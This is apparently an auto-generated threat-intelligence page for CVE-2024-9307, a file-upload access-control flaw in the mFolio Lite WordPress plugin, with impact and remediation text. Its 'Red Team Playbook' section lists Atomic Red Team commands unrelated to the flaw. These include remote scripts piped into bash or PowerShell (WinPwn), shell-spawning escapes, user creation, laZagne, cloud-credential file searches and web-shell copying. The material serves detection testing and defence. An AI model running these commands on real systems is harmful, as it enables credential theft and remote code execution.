CVE-2024-9307
Overview
This vulnerability is an improper access control flaw in the themelooks mFolio Lite WordPress plugin, specifically a missing capability check on file upload functionality. The affected component is the file upload handler that processes SVG and executable files. Due to the lack of authorization validation, authenticated users with Author-level privileges or higher can upload arbitrary files without restriction, bypassing intended security controls.
Vulnerability Description
The mFolio Lite plugin for WordPress is vulnerable to file uploads due to a missing capability check in all versions up to, and including, 1.2.1. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file or upload arbitrary EXE files on the affected site's server which may make remote code execution possible if the attacker can also gain access to run the .exe file, or trick a site visitor into downloading and running the .exe file.
Impact
An attacker with Author-level access can upload malicious SVG files containing executable scripts or arbitrary executable files (.exe) to the server. This enables execution of injected scripts when SVG files are accessed by users and potential remote code execution if the attacker can execute uploaded .exe files or trick users into running them. The attack requires authenticated access (PR:L) but no user interaction (UI:N), with network access (AV:N), leading to full confidentiality, integrity, and availability compromise (C:H/I:H/A:H).
Solution
Users should upgrade themelooks mFolio Lite to a version later than 1.2.1 where the missing capability check has been implemented. Detailed patch information and version updates are available in the WordPress plugin repository changelog (https://wordpress.org/plugins/mfolio-lite/#developers) and WordFence advisory (https://www.wordfence.com/threat-intel/vulnerabilities/id/3b4012dd-7c0a-45f1-8ada-8f9dc6867e1e). No official workaround is documented; applying the patch is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The mFolio Lite plugin for WordPress has a significant vulnerability stemming from a lack of proper capability checks, which allows authenticated users with Author-level access or higher to upload files without restrictions. This oversight means that attackers can exploit this weakness to upload arbitrary files, including potentially malicious SVG files that can execute web scripts when accessed. Furthermore, the ability to upload executable files (EXE) poses a severe risk, as these files can be designed to execute code on the server or trick users into downloading and running them, leading to remote code execution.
Exploitation of this vulnerability can occur through various attack vectors. An authenticated attacker could leverage their access to upload a malicious SVG file that contains JavaScript, which would execute in the context of any user who views the file. This could lead to session hijacking, data theft, or further compromise of the website. Additionally, by uploading an EXE file, an attacker could create a situation where a user is tricked into downloading and executing the file, potentially leading to a complete system compromise. The combination of these two vectors significantly amplifies the risk, as it allows for both server-side and client-side attacks.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on the mFolio Lite plugin for their WordPress sites. Successful exploitation could lead to unauthorized access to sensitive data, defacement of the website, or even the distribution of malware to unsuspecting users. The potential for remote code execution raises the stakes even higher, as attackers could gain full control over the server, leading to data breaches, loss of customer trust, and significant financial repercussions. Furthermore, the presence of such a vulnerability could result in compliance issues with data protection regulations, exposing organizations to legal liabilities.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regularly updating the mFolio Lite plugin to the latest version is crucial, as updates often include patches for known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious file uploads and block suspicious requests. Monitoring user activity and access logs can also aid in identifying unauthorized attempts to exploit this vulnerability. Furthermore, organizations should enforce the principle of least privilege, ensuring that users only have the access necessary for their roles, thereby reducing the risk of exploitation by authenticated attackers.
In conclusion, the vulnerability present in the mFolio Lite plugin for WordPress represents a critical threat to the security of affected websites. The ability for authenticated users to upload arbitrary files without proper checks poses significant risks, including remote code execution and data compromise. Organizations must take proactive measures to detect and mitigate this vulnerability, ensuring that their WordPress installations remain secure and resilient against potential attacks. By staying informed about security best practices and implementing robust defenses, businesses can protect themselves from the severe consequences associated with this type of vulnerability.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-9307, with new telemetry indicating the initial confirmed exploitation attempt in the wild. This development elevates the practical risk posed by the vulnerability beyond theoretical concern, as attackers with Author-level access are now actively leveraging the missing capability check to upload malicious files. The slight increase in the EPSS score corroborates this trend, reflecting growing attacker interest and potential for successful compromise. Although no new exploit variants or ransomware group associations have been identified, the presence of confirmed exploitation attempts signals a shift in the threat landscape that defenders must acknowledge. Consequently, the overall threat level for affected WordPress sites should be considered heightened, emphasizing the urgency for detection and response capabilities to address this vulnerability before exploitation becomes more widespread.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Themelooks | Mfolio | All |
cpe:2.3:a:themelooks:mfolio:*:*:*:*:lite:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-9307 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/3b4012dd-7c0a-45f1-8ada-8f9dc6867e1e?source=cve |
| wordpress.org |
GitHub CVE
|
https://wordpress.org/plugins/mfolio-lite/#developers |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3195835%40mfolio-lite%2Ftrunk&old=2792814%40mfolio-lite%2Ftrunk |